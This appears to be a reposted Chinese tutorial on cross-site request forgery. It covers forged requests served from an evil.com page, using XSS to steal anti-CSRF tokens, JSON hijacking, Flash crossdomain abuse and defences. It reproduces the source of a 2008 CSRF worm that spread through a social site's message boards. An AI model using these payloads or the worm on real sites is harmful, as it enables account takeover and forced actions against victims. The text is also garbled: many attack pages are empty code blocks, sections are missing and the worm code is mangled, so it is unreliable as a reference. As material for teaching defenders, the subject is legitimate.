06-邪恶的CSRF

# 邪恶的CSRF

0x00 什么是CSRF
============

* * *

CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

从前面这个名字里我们可以关注到两个点:一个是“跨站点”,另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源,后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿,而是由攻击者构造,由受害者被动发出的。

CSRF的攻击过程大致如图:

![](http://drops.javaweb.org/uploads/images/5248f250476c46b9b1df91bd44dfc06c70db5373.jpg)

0x01 CSRF攻击存在的道理
================

* * *

一种攻击方式之所以能够存在,必然是因为它能够达到某种特定的目的。比如:通过程序中的缓冲区溢出漏洞,我们可以尝试控制程序的流程,使其执行任意代码;通过网站上的SQL注入漏洞,我们可以读取数据库中的敏感信息,进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求,那么这有什么作用呢?

显然,这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下,攻击者之所以要伪造请求由受害者发出,不正是想利用受害者的身份去达到一些目的吗?换句话说,受害者身上有达到这个目的所必需的条件,

而这些必需的条件在Web应用中便是各种各样的认证信息,攻击者就是利用这些认证信息来实现其各种各样的目的。

下面我们先看几个攻击场景。

0x02 场景举例
=========

* * *

(1)场景一:

在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:

“`
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)

“`

这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:

“`

图片[1]-06-邪恶的CSRF-棉花糖会员站

“`

可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为`http://www.evil.com/csrf.html`。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问`http://www.bbs.com/talk.php?msg=goodbye`,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。

(2)场景二:

在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:

“`
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com

Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test

“`

在这里,攻击者构造了的csrf2.html页面如下:

“`




“`

该页面的链接为`http://www.evil.com/csrf2.html`,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于JavaScript。

0x03 CSRF攻击方式
=============

* * *

(1)HTML CSRF攻击:

即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

“` 图片[2]-06-邪恶的CSRF-棉花糖会员站

```

服务端`http://127.0.0.1:8888/test.php`:

```
Cookies

";
var_dump($_COOKIE);
?>

```

前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。

我们来演示一下效果,test.html页面如图:

![](http://drops.javaweb.org/uploads/images/7b49fc9cd2da9481e33892252db3424be4fd741c.jpg)

normal submit之后:

![](http://drops.javaweb.org/uploads/images/2fa45f97185281de342ab97c8aeb5dc3aa7b3bc8.jpg)

看到只有xampp设置的一个Cookie,试一下with token按钮:

![](http://drops.javaweb.org/uploads/images/fd2d599315243960a4ba1d9619c13251456c795f.jpg)

看到我们提交的Cookie中多出了一个名为“xeye”的Cookie,再试一下hook submit:

![](http://drops.javaweb.org/uploads/images/b80e2ed6c9dcfa658db36273b480589fc2f85e71.jpg)

效果和第二个相同。

通过上面的演示,我们可以看到设置临时Cookie的效果。

不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。

对于这种防御方式的几个小疑问:

1. 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。

2. Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。

3. 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。

由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。

在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?

当然有了,这里介绍两种:

1)在返回的脚本开始部分加入“while(1);”:

当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。

这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。

Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

[http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses](http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses)

2) 使用POST表单提交的方式获取JSON数据:

当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。

0x06 结合XSS的CSRF攻击
=================

* * *

前面我们说到了基于CSRF的攻击,讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是:如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。

为什么说XSS是CSRF的“黄金搭档”呢?因为当XSS存在时,我们往往可以利用它来突破目标站点对CSRF攻击的防护;还有一些情况,比如我们可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的话,就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。

下面我们举例说明:

1) 利用XSS窃取token之后发起CSRF攻击

以前面0x05中的第一个例子为例,我们的目标是进入后台。

加入添加管理员的POST请求如下(加入了token):

```
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com

Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…

```

那么我们就不能直接构造出攻击页面了,因为token的值我们无法预测,一般情况下我们也无法得到token的值,但我们假设,在给管理员留言的地方存在XSS漏洞,但是管理员的Cookie加了HttpOnly属性,我们无法通过XSS直接获取管理员的Cookie,那该怎么办呢?我们可以把这两个漏洞结合起来利用。

我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码:

```

```

代码很好理解,首先我们通过iframe的方式嵌入含有token的页面,因为同域,所以我们可以对页面中的DOM进行读写操作,所以顺利取得token;然后我们利用AJAX的方式带上token提交添加管理员的请求,我们依靠XSS成功突破了页面对CSRF攻击的防护。

2) 结合CSRF发起XSS攻击

(实例来源:[百度某站可结合CSRF及XSS劫持账号](http://www.wooyun.org/bugs/wooyun-2010-033537))

在百度词典-我的词典处,有将生词添加进生词本的功能,在备注的时候没有进行过滤,可以直接插入JavaScript代码。

但这显然是一个“SELF-XSS”,只能跨自己,有什么用呢?

再看看,页面似乎没有对CSRF做防护,那么我们是不是可以利用CSRF来触发这个XSS,让别人跨自己呢?

构造POST请求页面如下:

```









“`

诱惑受害者访问该页面,效果如图:

![](http://drops.javaweb.org/uploads/images/0977e88899fcde7bcec073f3810d6d6a35a3f023.jpg)

看看生词本:

![](http://drops.javaweb.org/uploads/images/2a432c192a7da7d9a0f3446b291358e5d9db60b5.jpg)

已经成功添加了一个新单词“Wooyun”,到我们的XSS平台上看看备注中的JavaScript代码有没有执行:

![](http://drops.javaweb.org/uploads/images/a4c0aad7da33002c223afd8ab7b85a5209bd60aa.jpg)

![](http://drops.javaweb.org/uploads/images/c8c722f38000cb370bc01ef7ae767e68e2145e79.jpg)

代码成功执行!

由此可以看到,如果能够将XSS攻击和CSRF攻击结合起来,会产生1+1>2的效果。

0x07 CSRF蠕虫
===========

* * *

说说蠕虫。

蠕虫有两大特征:

1) 传播性;

2) 恶意行为。

蠕虫的恶意行为是由其传播性引起的,也就是说,凡是传播可以做的事,蠕虫基本上都可以做,而且还可以做些和特定蠕虫有关的事,比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息(CSRF的危害之一嘛)。

所以,我们主要研究CSRF蠕虫的传播性。

CSRF蠕虫的传播性如何实现呢?在前面我们提到过,CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易,但实施起来恐怕还要多考虑一些东西。

仔细想想,在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题:蠕虫面对的是不同的用户,而不仅仅是某一个受害者。那对于不同的用户,其对应的请求(CSRF核心:伪造的请求嘛)会不会有些地方不一样呢?

没错,在之前的CSRF攻击中,我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后,我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测,但是对于不同的用户,其对应的请求参数是不一样的,我们无法像前面的攻击那样构造攻击页面,必须想办法获取这些标识不同用户的数据。

方法一:利用服务端脚本获取

在这里,我们构造的攻击页面不是一个简单的.html文件了,而是一个服务端脚本,如php、asp等等。

受害者的标识信息,如用户id等,经常出现在url中,这样我们就可以利用服务端脚本来获取请求的Referer中的用户id,以此为基础构造出html+js的攻击页面,在攻击向量中添加我们服务端脚本的链接,以此造成蠕虫传播的效果。

方法二:利用JSON HiJacking技术获取

JSON HiJacking的攻击方法前面已经讲得很详细了,如果网站上提供了这样的获取数据的接口,那么利用这种技术获取用户的隐私信息是一个不错的方法。

综上所述,如果一个SNS网站上存在CSRF漏洞,并且我们有办法获取到用户的标识信息,那么就满足了CSRF蠕虫传播的条件,这个网站就是可蠕虫的。

下面看一个CSRF蠕虫实例:

这是2008年发起的一次针对译言网(`www.yeeyan.org`)的CSRF蠕虫攻击,攻击者的链接为`http://www.evilsite.com/yeeyan.asp`,服务端脚本yeeyan.asp内容如下:

“`
<% 'auther: Xlaile 'data: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com r = Request.ServerVariables("HTTP_REFERER") '获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
‘referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址

Function regx(patrn, str)
Dim regEx
Dim Match
Dim Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCace = True
regEx.Global = True
Set Matches = regEx.Execute(str)

For Each Match in Matches
RetStr = RetStr & Match.Value & ” | ”
Next

regx = RetStr
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim i1
Dim ThisCharCode
Dim NextCharCode
strReturn = “”

For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))

If ThisCharCode < & H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i1 + 1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode)) i1 = i1 + 1 End If Next bytes2BSTR = strReturn End id = Mid(r,34) '获取用户标识ID,如:hving furl = "http://www.yeeyan.com/space/friends/" + id '用户好友列表链接是这样的 Set http = Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件 http.Open "GET",furl,False '同步,GET请求furl链接 http.Send '发送请求 ftext = http.ResponseText '返回请求结果,为furl链接对应的HTML内容 fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+” ‘接着循环遍历好友列表,使用iframe发起CSRF攻击
Next

Response.Write(s)

‘ Set http=Server.CreateObject(“Microsoft.XMLHTTP”)

‘ http.open “POST”,”http://www.yeeyan.com/groups/newTopic/”,False

‘ c = “hello”

cc = “data[Post][content]=” & c & “&” & “ymsgee=” & f(0) & “&” & “ymsgee_username=” & f(0)

‘ http.send cc

End If
%>

“`

其中yeeyan_iframe.asp代码如下:

“`
<% 'author: Xlaile 'date: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com 'id = Request("id") s = "

s = s+”

s = s+”

s = s+”

s = s+”

s = s+”

Response.write(s)

%>

“`

这段代码只具备传播性,属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到,攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码,用来具体发起CSRF攻击。当用户登录译言网,并且点击攻击者的链接后,这个CSRF蠕虫就会开始传播。

0x08 还有什么东西?
============

* * *

写到这里,我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候,我一直在有意回避一个东西,那就是在现在的Web前端仍然占有重要地位的Flash,以及ActionScript脚本。

这里就简单补充一下,这些东西和CSRF攻击有什么联系。

首先,我们必须先介绍一个文件——crossdomain.xml,次文件通常在网站的根目录下存在,比如`http://www.qq.com`网站上的crossdomain.xml文件内容如下:

![](http://drops.javaweb.org/uploads/images/f44d3a356f07a1a62ffb696a71728fa19ca214d0.jpg)

`https://www.baidu.com`网站上的crossdomain.xml文件内容如下:

![](http://drops.javaweb.org/uploads/images/852cd12ec16d4f98d437a40a935a596f074595dd.jpg)

该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”,则表示任何与的Flash都可以访问,这是非常危险的。当存在这样的配置时,攻击者可以利用ActionScript脚本轻松突破同源策略的限制,如下:

“`
import flash.net. *
//请求隐私数据所在页面

var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);

loader.addEventListener(Event.COMPLETE, function() { //当请求完成后
loader.data; //获取到隐私数据
//更多操作
});

Loader.load(); //发起请求

“`

当通过身份认证的受害者被诱惑访问含有以上脚本的页面时,其隐私将可能被攻击者盗走。

除此之外,这种跨域获取信息的方法还可以应用在CSRF蠕虫之中,同样是在2008年,饭否(`www.fanfou.com`)就被基于Flash的CSRF蠕虫攻击,当时包含饭否CSRF蠕虫的Flash游戏界面如下:

![](http://drops.javaweb.org/uploads/images/6ccd9d9011ca4ea086602f5a1f0f7db3f87f44f4.jpg)

0x09 结束
=======

* * *

由于水平有限,本文写到这里就差不多结束了,里面是我对CSRF几乎所有的认知,包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是,文中有许多内容来自《Web前端黑客技术解密》这本书。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容